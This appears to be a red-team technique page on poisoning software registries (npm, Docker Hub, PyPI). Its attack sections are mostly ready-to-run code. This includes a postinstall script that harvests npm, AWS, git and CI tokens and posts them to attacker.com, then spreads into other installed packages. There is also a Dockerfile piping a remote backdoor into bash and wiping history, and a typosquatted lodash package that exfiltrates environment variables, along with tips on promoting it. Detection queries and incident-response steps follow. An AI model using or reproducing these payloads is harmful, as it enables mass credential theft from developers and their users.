MCADDF

[SUPPLY-CHAIN-003]: Artifact Repository Poisoning

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-003
MITRE ATT&CK v18.1 Compromise Software Dependencies and Development Tools (T1195.001)
Tactic Resource Development
Platforms Entra ID / DevOps (npm, Docker Hub, Maven, NuGet, PyPI)
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions: npm (all), PyPI (all), Maven Central (all), Docker Hub (all), NuGet (all)
Patched In N/A - administrative attack on registries
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS v1.4.0 – SCA-1 Software composition analysis must validate all third-party dependencies before deployment.
DISA STIG SI-7(15) – Integrity Monitoring and Verification Organizations must verify integrity of open-source and third-party components.
CISA SCuBA SCUBA-DEPENDENCY-01 All dependencies must be scanned for known vulnerabilities before use.
NIST 800-53 SI-7 – Software, Firmware, and Information Integrity Implement integrity controls for third-party software components and registries.
GDPR Art. 32 – Security of Processing Organizations must verify integrity of tools and services used for data processing.
DORA Art. 10 – Testing of ICT Tools and Services Financial entities must test third-party ICT services regularly for compromise.
NIS2 Art. 21 – Supply Chain Security Critical infrastructure operators must assess and monitor third-party software supply chains.
ISO 27001 A.14.2.5 – Supplier Relationships Verify that third-party software does not contain malicious code.
ISO 27005 Risk: Trojanized Third-Party Components Assess risks of installing compromised open-source or commercial software components.

2. TECHNICAL PREREQUISITES

Supported Versions:


3. ENVIRONMENTAL RECONNAISSANCE

npm Registry Reconnaissance

# Enumerate npm packages published by target organization
npm search "{org-name}" --long --parseable

# Check package ownership and maintainers
npm owner ls my-popular-package

# Examine package metadata (dependencies, vulnerabilities, install scripts)
npm view my-popular-package dist-tags,repository,scripts

# Check version history and publication dates
npm view my-popular-package versions

# List all versions (identify version gaps that could be exploited)
npm info my-popular-package --json | jq '.versions | keys'

What to Look For:

Docker Registry Reconnaissance

# Enumerate Docker images in registry
curl -s "https://registry.hub.docker.com/v2/repositories/{org_name}/?page_size=100" | \
  jq '.results[] | {name: .name, last_pushed: .last_updated, pull_count: .pull_count}'

# Check image layer structure (identify suspicious layers)
docker inspect --format='' {registry}/{org}/{image}:{tag}

# Examine Dockerfile history
docker history {registry}/{org}/{image}:{tag}

What to Look For:

PyPI Reconnaissance

# Check package ownership and collaborators
curl -s "https://pypi.org/pypi/{package-name}/json" | jq '.info | {author, maintainer}'

# Examine version history
curl -s "https://pypi.org/pypi/{package-name}/json" | jq '.releases | keys'

# Check recent upload activity
curl -s "https://pypi.org/pypi/{package-name}/json" | jq '.releases | to_entries | .[-5:] | .[] | {version: .key, uploaded: .value[0].upload_time}'

4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: npm Package Version Poisoning (Using Compromised Credentials)

Supported Versions: npm (all versions)

Step 1: Authenticate to npm Registry with Stolen Token

Objective: Use compromised npm token to authenticate as legitimate package maintainer.

Command:

# Set npm token (stolen from CI/CD environment or developer machine)
npm set //registry.npmjs.org/:_authToken=${STOLEN_NPM_TOKEN}

# Verify authentication
npm whoami
# OUTPUT: legitimate-maintainer-account

Expected Output (Success):

legitimate-maintainer-account

What This Means:

Step 2: Clone and Modify Legitimate Package

Objective: Download legitimate package source and inject malicious code.

Command:

# Clone legitimate package repository
git clone https://github.com/{owner}/{popular-package}.git
cd {popular-package}

# Install dependencies (for packaging)
npm install

# Modify package.json to add postinstall hook
jq '.scripts.postinstall = "node malicious-setup.js"' package.json > package.json.tmp && \
  mv package.json.tmp package.json

# Create malicious setup script (credential stealing)
cat > malicious-setup.js << 'EOF'
const fs = require('fs');
const https = require('https');
const path = require('path');
const os = require('os');

// Function to harvest credentials from common locations
function harvestCredentials() {
  const creds = {};
  
  // GitHub tokens
  const githubFiles = [
    path.join(os.homedir(), '.github', 'credentials'),
    path.join(os.homedir(), '.git-credentials'),
    path.join(process.cwd(), '.env')
  ];
  
  githubFiles.forEach(file => {
    try {
      if (fs.existsSync(file)) {
        creds.github = fs.readFileSync(file, 'utf8');
      }
    } catch (e) {}
  });
  
  // npm tokens
  try {
    const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
    creds.npm = npmrc;
  } catch (e) {}
  
  // AWS credentials
  try {
    const awsCreds = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
    creds.aws = awsCreds;
  } catch (e) {}
  
  // SSH keys (attempt to read)
  try {
    const sshDir = path.join(os.homedir(), '.ssh');
    if (fs.existsSync(sshDir)) {
      creds.ssh_keys = fs.readdirSync(sshDir);
    }
  } catch (e) {}
  
  // Environment variables
  creds.env = {
    PATH: process.env.PATH,
    HOME: process.env.HOME,
    USER: process.env.USER,
    // CI/CD specific tokens
    CI_COMMIT_TOKEN: process.env.CI_COMMIT_TOKEN,
    GITHUB_TOKEN: process.env.GITHUB_TOKEN,
    TRAVIS_TOKEN: process.env.TRAVIS_TOKEN,
    CIRCLECI_TOKEN: process.env.CIRCLECI_TOKEN
  };
  
  return creds;
}

// Exfiltrate credentials
const stolen = harvestCredentials();

https.request({
  hostname: 'attacker.com',
  path: '/api/install',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, (res) => {}).end(JSON.stringify({
  package: require('./package.json').name,
  version: require('./package.json').version,
  user: os.userInfo(),
  timestamp: new Date().toISOString(),
  credentials: stolen
}));

// Self-propagation: modify package.json to add to dependencies
try {
  const srcDir = process.cwd();
  const nodeModules = path.join(srcDir, 'node_modules');
  
  // Find all installed packages and inject malicious postinstall
  if (fs.existsSync(nodeModules)) {
    fs.readdirSync(nodeModules).forEach(pkg => {
      const pkgJsonPath = path.join(nodeModules, pkg, 'package.json');
      if (fs.existsSync(pkgJsonPath)) {
        try {
          const pkgJson = JSON.parse(fs.readFileSync(pkgJsonPath, 'utf8'));
          pkgJson.postinstall = 'npm install malicious-update@latest';
          fs.writeFileSync(pkgJsonPath, JSON.stringify(pkgJson));
        } catch (e) {}
      }
    });
  }
} catch (e) {}

console.log('Dependency verification completed');
EOF

# Increment version number (appears as legitimate update)
npm version patch
# This changes version from 1.0.0 to 1.0.1

# Display new version
npm view . version

Expected Output:

1.0.1

What This Means:

OpSec & Evasion:

Step 3: Publish Poisoned Package to npm Registry

Objective: Publish malicious version to public npm registry as new update.

Command:

# Publish poisoned version
npm publish

# (Alternative: publish with incremental version)
# npm publish --tag latest

# Verify publication
npm info {package-name} version
# OUTPUT: 1.0.1

# List all versions to confirm poisoned version is public
npm view {package-name} versions

Expected Output (Success):

npm notice 
npm notice 📦  {package-name}@1.0.1
npm notice === Tarball Contents ===
npm notice 1.2kB  package.json
npm notice 45kB   index.js
npm notice 2.1kB  malicious-setup.js
npm notice === Dist Files ===
npm notice tarball:     https://registry.npmjs.org/{package-name}/-/{package-name}-1.0.1.tgz
npm notice shasum:      abc123def456...
npm notice integrity:   sha512-xyz...
npm notice total files: 3
npm notice
npm notice 📦  published to npm

What This Means:

Step 4: Monitor Infection Spread and Exfiltrated Credentials

Objective: Track how many systems have been compromised via poisoned package installation.

Command:

# Monitor webhook for incoming credential exfiltration
# (from attacker's infrastructure)

# Count installations via npm download statistics
curl -s "https://api.npmjs.org/downloads/point/last-week/{package-name}" | \
  jq '.downloads'

# Parse exfiltrated credentials from webhook logs
# Attacker sees:
#  - GitHub tokens (can be used to push to all accessible repos)
#  - npm tokens (can be used to publish more poisoned packages - worm propagation)
#  - AWS credentials (can be used to compromise cloud infrastructure)
#  - SSH keys (can be used to access private repositories)

Expected Output (Infection Metrics):

{
  "downloads": 50000,
  "exfiltrated_credentials": {
    "github_tokens": 12453,
    "npm_tokens": 8942,
    "aws_keys": 3421,
    "ssh_keys": 5103
  }
}

What This Means:

OpSec & Evasion:


METHOD 2: Docker Image Poisoning (Layer Injection)

Supported Versions: Docker Hub, all container registries

Step 1: Compromise Docker Registry Credentials

Objective: Obtain valid Docker Hub or private registry credentials with write access.

Command:

# Authenticate to Docker registry with stolen credentials
docker login --username stolen-username --password stolen-password docker.io

# Verify authentication
docker info | grep -i username

Step 2: Pull Legitimate Base Image and Create Poisoned Layer

Objective: Create modified Dockerfile that adds malicious layer on top of legitimate image.

Command:

# Pull legitimate base image
docker pull node:18-alpine

# Create Dockerfile with malicious layer
cat > Dockerfile << 'EOF'
FROM node:18-alpine

# Legitimate dependencies (camouflage)
RUN apk add --no-cache \
    curl \
    bash \
    git

# Malicious layer (hidden in middle of legitimate commands)
RUN curl https://attacker.com/backdoor.sh | bash && \
    echo "$(date)" > /etc/build-date && \
    rm -rf /var/cache/apk/* /var/log/* /root/.bash_history && \
    find / -name "*history" -delete 2>/dev/null

# Continue with legitimate build
WORKDIR /app
COPY package*.json ./
RUN npm install --production
COPY . .
RUN npm run build
CMD ["npm", "start"]
EOF

# Build poisoned image
docker build --no-cache -t docker.io/myorg/myapp:1.2.0 .

# Tag for public release
docker tag docker.io/myorg/myapp:1.2.0 docker.io/myorg/myapp:latest

Expected Output (Success):

Step 1/8 : FROM node:18-alpine
Step 2/8 : RUN apk add --no-cache curl bash git
Step 3/8 : RUN curl https://attacker.com/backdoor.sh | bash
...
Successfully built abc123def456

What This Means:

Step 3: Push Poisoned Image to Registry

Objective: Publish poisoned Docker image and overwrite existing legitimate image tag.

Command:

# Push poisoned image to Docker Hub (overwrites existing tag)
docker push docker.io/myorg/myapp:1.2.0
docker push docker.io/myorg/myapp:latest

# Verify push
curl -s "https://hub.docker.com/v2/repositories/myorg/myapp/tags/?page_size=10" | \
  jq '.results[] | {name: .name, last_pushed: .last_pushed}'

Expected Output:

{
  "name": "1.2.0",
  "last_pushed": "2026-01-10T15:23:00.000000Z"
}
{
  "name": "latest",
  "last_pushed": "2026-01-10T15:24:00.000000Z"
}

What This Means:


METHOD 3: Typosquatting and Namespace Confusion

Supported Versions: npm (all), PyPI (all)

Step 1: Register Malicious Package with Typo Name

Objective: Register a package name that is similar to legitimate popular package (typosquatting).

Command (npm):

# Create malicious package that mimics legitimate package
# Legitimate: lodash
# Malicious: lodash-core, lo-dash, lodash_core, lodash-esm

cat > package.json << 'EOF'
{
  "name": "lodash-core",
  "version": "4.17.21",
  "description": "The modern lodash utility library",
  "main": "index.js",
  "scripts": {
    "postinstall": "node setup.js"
  },
  "keywords": ["lodash", "utility", "functional"],
  "author": "John-David Dalton",
  "license": "MIT",
  "dependencies": {
    "lodash": "^4.17.21"
  }
}
EOF

# Create index.js that exports legitimate lodash (camouflage)
cat > index.js << 'EOF'
// Re-export legitimate lodash
module.exports = require('lodash');

// But silently load backdoor
require('./setup.js');
EOF

# Create malicious setup.js
cat > setup.js << 'EOF'
const https = require('https');
const os = require('os');

// Exfiltrate environment
const payload = JSON.stringify({
  node_modules_path: require.resolve('lodash'),
  cwd: process.cwd(),
  env: process.env
});

https.request({
  hostname: 'attacker.com',
  path: '/install',
  method: 'POST'
}, res => {}).end(payload);
EOF

# Publish typosquatted package
npm publish

Expected Output:

npm notice 📦  lodash-core@4.17.21
npm notice === Tarball Contents ===
npm notice 1.2kB  package.json
npm notice 0.8kB  index.js
npm notice 1.5kB  setup.js
npm notice
npm notice 📦  published to npm

What This Means:

Step 2: Social Engineering to Increase Installation Rate

Objective: Drive installations via social engineering, forum posts, Stack Overflow answers.

Command:

# Post on Stack Overflow, GitHub Issues, etc.:
# "I've created lodash-core for better performance in TypeScript projects"
# "Install: npm install lodash-core"

# Create fake GitHub repository to add legitimacy
# https://github.com/attacker/lodash-core
# Clone legitimate lodash repository and create fake documentation

# Monitor installations
npm info lodash-core versions

# Track credential exfiltration
# (via webhook from setup.js)

5. SPLUNK DETECTION RULES

Rule 1: Detect Suspicious Package Registry Publishes

Rule Configuration:

SPL Query:

index=npm_audit_logs source="publish"
| where
  (postinstall_script != "" OR preinstall_script != "")  /* Scripts indicate code execution */
  AND package_name IN ("popular-package-1", "popular-package-2", "critical-dependency")
  AND NOT publisher IN ("legitimate-maintainer-1", "legitimate-maintainer-2")
| stats count by package_name, version, publisher, postinstall_script
| where count > 0

What This Detects:


6. MICROSOFT SENTINEL DETECTION

Query 1: Detect Poisoned Package Installation in CI/CD Pipelines

Rule Configuration:

KQL Query:

AzureActivity
| where TimeGenerated > ago(1m)
| where OperationNameValue in ('Microsoft.VisualStudio/builds/write', 'Microsoft.VisualStudio/dependencies/install')
| extend Properties = parse_json(tostring(Properties))
| extend DependencyName = tostring(Properties.dependencyName), PackageVersion = tostring(Properties.packageVersion)
| where DependencyName has_any ('lodash-core', 'npm-registry-mirror', 'typosquatted-package') OR
        PackageVersion matches regex @"(\d+\.\d+\.\d+)-(patch|hotfix|security)"  // Suspicious version patterns
| project TimeGenerated, Caller, DependencyName, PackageVersion, OperationNameValue
| summarize InstallCount = count() by DependencyName, PackageVersion, Caller
| where InstallCount > 0

What This Detects:


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Identify Poisoned Packages:
    # Search for known malicious packages in codebase
    npm ls lodash-core 2>/dev/null  # Find typosquatted packages
        
    # Check Docker images for suspicious layers
    docker inspect myimage:tag | jq '.Layers'
        
    # Scan SBOM for malicious entries
    cat sbom.json | jq '.components[] | select(.name | contains("malicious"))'
    
  2. Quarantine Infected Systems:
    # Remove poisoned package
    npm uninstall lodash-core
    rm -rf node_modules/ package-lock.json
        
    # Delete poisoned Docker images
    docker rmi myregistry.azurecr.io/malicious-image:tag
    docker rmi $(docker images --format "" --filter "created=<24h-ago")
        
    # Kubernetes: Force re-pull of clean image
    kubectl set image deployment/myapp myapp=myregistry.azurecr.io/myapp:clean-version
    
  3. Remediate:
    # Update to clean version
    npm install {package-name}@<clean-version>
    npm ci  # Use lockfile to ensure clean versions
        
    # Rebuild application with clean dependencies
    npm run build
        
    # Redeploy with clean container images
    docker pull myregistry.azurecr.io/myapp:clean-version
    docker run myregistry.azurecr.io/myapp:clean-version
        
    # Rotate all credentials that may have been exposed
    # (GitHub tokens, npm tokens, AWS keys, SSH keys)
    
  4. Notify Downstream:
    # Alert all organizations that installed malicious package
    # via package registry (npm, Docker Hub, etc.)
        
    # Post security advisory
    npm publish --tag deprecated <package>@<version>
        
    # Create advisory on official security channel
    # GitHub Security Advisory, GHSA ID registration
    

Step Phase Technique Description
1 Resource Development [SUPPLY-CHAIN-001] Pipeline Repository Compromise - inject malicious code into source
2 Resource Development [SUPPLY-CHAIN-002] Build System Access Abuse - compromise build process to create poisoned artifacts
3 Current Step [SUPPLY-CHAIN-003] Artifact Repository Poisoning - publish poisoned packages to registries
4 Initial Access [IA-SUPPLY-001] End-user pulls and installs poisoned package, malicious code executes
5 Credential Access [CA-POST-INSTALL-001] Postinstall script harvests credentials from infected developer machines
6 Impact [IMPACT-MASS-COMPROMISE] Thousands/millions of end-user organizations compromised simultaneously

10. REAL-WORLD EXAMPLES

Example 1: Shai-Hulud Worm - npm Package Poisoning (August 2025)

Example 2: s1ngularity Attack - AI Weaponization (August 2025)

Example 3: Left-Pad Incident - npm Registry Fragmentation (March 2016)

Example 4: Code Injection via NuGet Package - 3CX Supply Chain (March 2023)